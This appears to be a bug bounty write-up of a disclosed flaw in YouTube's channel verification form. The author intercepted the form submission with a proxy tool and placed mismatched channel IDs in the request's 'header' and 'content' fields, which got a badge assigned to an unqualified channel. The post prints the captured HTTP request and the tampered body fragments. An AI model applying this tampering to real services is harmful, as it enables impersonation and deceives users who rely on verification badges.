[$500] How I was able to give verification badge to any YouTube channel and bypass needed requirements
Hi, this is my very first writeup! In this article, I’ll share how I was able to assign a verification badge to any YouTube channel.
A little background to verification badges
Most of you probably know what a verification badge is, so I’ll keep it short. It’s a checkmark symbol which usually appears next to your name, or username, depending on the platform. It’s used to distinguish real celebrity or company accounts from potential impersonators, and therefore prevent impersonation attempts which could lead to various fraud.
Enough of talking, you’re here to see how I did it, got it. First, I needed a channel with 100,000+ subscribers. If you didn’t know, having this amount of subscribers is the main requirement to obtain the badge. Google engineers designed the system in such way that in order to have access to the form where you can submit your request, you need to have a channel with 100,000+ subscribers linked to your Google account.
Here’s how it looks when you don’t have the needed channel:
Here’s how it should look when you have one:
The next step was to click on “Apply now”, which displays a form like this:
Here, we have 2 fields:
- Channel name: the current name of the channel
- Channel ID: the ID of the channel (usually can be found in the URL or at youtube.com/account_advanced)
Let’s fill both fields, open up a proxy tool such as Burp Suite and intercept the request which is generated after clicking on Submit:
POST /apis/cufinsert?v=0&psd=%7B%7D&helpcenter=youtube&hl=en&key=support-content&request_source=1&service_configuration=&mendel_ids=REDACTED HTTP/1.1
Host: support.google.com
Cookie: SUPPORT_CONTENT=REDACTED
Content-Length: 5373
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Brave";v="126"
Content-Type: text/plain;charset=UTF-8
X-Supportcontent-Allowapicookieauth: true
X-Supportcontent-Xsrftoken: REDACTED
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 REDACTED
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.5
Origin: https://support.google.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
{"common_params":{"context_params":{"view_id":REDACTED}},"resource":{"form_id":"channel_verification","header":[{"name":"channel_name","value":"Japan"},{"name":"channel_id","value":"UCPu6Px6WxDjRgUNODpecwLg"},{"name":"subject_line","value":"Channel Verification Application"},{"name":"account_email","value":"redacted@gmail.com"},{"name":"\n\n:---- Automatically added fields ----","value":""},{"name":"Language","value":"en"},{"name":"IIILanguage","value":"en"},{"name":"country_code","value":"REDACTED"},{"name":"auto-helpcenter-id","value":"95"},{"name":"auto-helpcenter-name","value":"youtube"},{"name":"auto-internal-helpcenter-name","value":"youtube"},{"name":"auto-full-url","value":"https://support.google.com/youtube/contact/channel_verification?sjid=REDACTED"},{"name":"auto-user-logged-in","value":"true"},{"name":"auto-user-was-internal","value":"false"},{"name":"IssueType","value":"channel_verification"},{"name":"form-id","value":"channel_verification"},{"name":"form","value":"channel_verification"},{"name":"subject-line-field-id","value":"subject_line"},{"name":"body-text-field-id","value":""},{"name":"AutoDetectedBrowser","value":"Chrome 126.0.0.0"},{"name":"AutoDetectedOS","value":"Intel Mac OS X 10_15_7"},{"name":"MendelExperiments","value":"REDACTED"},{"name":"Form.support-content-visit-id","value":"REDACTED"},{"name":"experiment_0_id","value":""},{"name":"experiment_0_status","value":"OFF"}],"subject":"Channel Verification Application","content":"channel_name: Japan\nchannel_id: UCPu6Px6WxDjRgUNODpecwLg\nsubject_line: Channel Verification Application\naccount_email: redacted@gmail.com\n\n\n:---- Automatically added fields ----: \nLanguage: en\nIIILanguage: en\ncountry_code: REDACTED\nauto-helpcenter-id: 95\nauto-helpcenter-name: youtube\nauto-internal-helpcenter-name: youtube\nauto-full-url: https://support.google.com/youtube/contact/channel_verification?sjid=9325088441159645760-EU\nauto-user-logged-in: true\nauto-user-was-internal: false\nIssueType: channel_verification\nform-id: channel_verification\nform: channel_verification\nsubject-line-field-id: subject_line\nbody-text-field-id: \nAutoDetectedBrowser: Chrome 126.0.0.0\nAutoDetectedOS: Intel Mac OS X 10_15_7\nMendelExperiments: REDACTED\nForm.support-content-visit-id: REDACTED\nexperiment_0_id: \nexperiment_0_status: OFF\n","validate_only":false,"validation_info":"CgxjaGFubmVsX25hbWUKCmNoYW5uZWxfaWQKEXZlcmlmaWNhdGlvbl90ZXh0CgxzdWJqZWN0X2xpbmUKDWFjY291bnRfZW1haWw","language":"en","helpcenter_id":"95","active_experiments":"CjRzdWpfdmlkZW9fZXhwZXJpbWVudDo6c3VqX3ZpZGVvX2V4cGVyaW1lbnRfdHJlYXRtZW50","referer":"","referer_title":"","timezone_offset_minutes":420,"form_frd_values":[
This is approximately how the request looks like. I have removed almost all of the cookies and some private information so what you see is a shorter version of what it originally used to be, but for this explanation, it will be more than enough.
Have a look at the body of the request. It’s weird. Why? Well firstly, why is stuff like subject_line, account_email and a lot of other things client-side? Email should be derived from the session cookies, not from a field like this.
Next, take another look at the body. For some reason, all the crucial fields like channel_name, channel_id and others are there TWICE. This does have an impact, which I “exploited” to find the vulnerability. So, let’s talk about it.
The first batch of fields located under “header” appear to be meant for the backend system. If a Google engineer is reading this, correct me if I’m wrong. The second batch of the same fields is located under “content”. This batch is meant for the employees to see the provided input, validate it, and then proceed further, in this case, with verifying the channel. So, how did I verify a channel that did not meet the requirements, such as having 100k+ subscribers?
It’s quite simple. In the “header” (the part meant for the system), I’ve inserted a channel ID of a channel which did not meet the criteria, and then inserted a different channel ID of a channel which did meet the criteria in the “content” field, right after “channel_id: ”. So the final request had an ID like this in the “header”:
"resource":{"form_id":"channel_verification","header":[{"name":"channel_name","value":"Japan"},{"name":"channel_id","value":"UCPu6Px6WxDjRgUNODpecwLg"},{"name":"subject_line","value":"Channel Verification Application"},
(“UCPu6Px6WxDjRgUNODpecwLg” is the ID of the channel below 100k subscribers, you can visit it at https://youtube.com/channel/UCPu6Px6WxDjRgUNODpecwLg)
and in the “content”, I left it like this:
"content":"channel_name: Japan\nchannel_id: UC-9-kyTW8ZkZNDHQJ6FgpwQ\nsubject_line: Channel Verification Application
Here I’ve used “UC-9-kyTW8ZkZNDHQJ6FgpwQ”, which is the ID of the well-known auto-generated “Music” channel (https://youtube.com/channel/UC-9-kyTW8ZkZNDHQJ6FgpwQ)
The employees received the request, and saw that I was requesting verification for the channel UC-9-kyTW8ZkZNDHQJ6FgpwQ, yet I was actually requesting verification for UCPu6Px6WxDjRgUNODpecwLg. Since there wasn’t (and still isn’t, which is weird) any validation if I actually own the channel that I requested to verify, they proceeded with the request (approved the application) and then system assigned the badge to the UCPu6Px6WxDjRgUNODpecwLg channel.
The issue was reported a few months ago and I’ve received a $500 bounty for it. And the badge is still there :D
Thanks for reading it all the way to the end. This was actually the most boring bug I found, so stay tuned and don’t forget to follow me (if it’s possible here on Medium, I’m new so idk).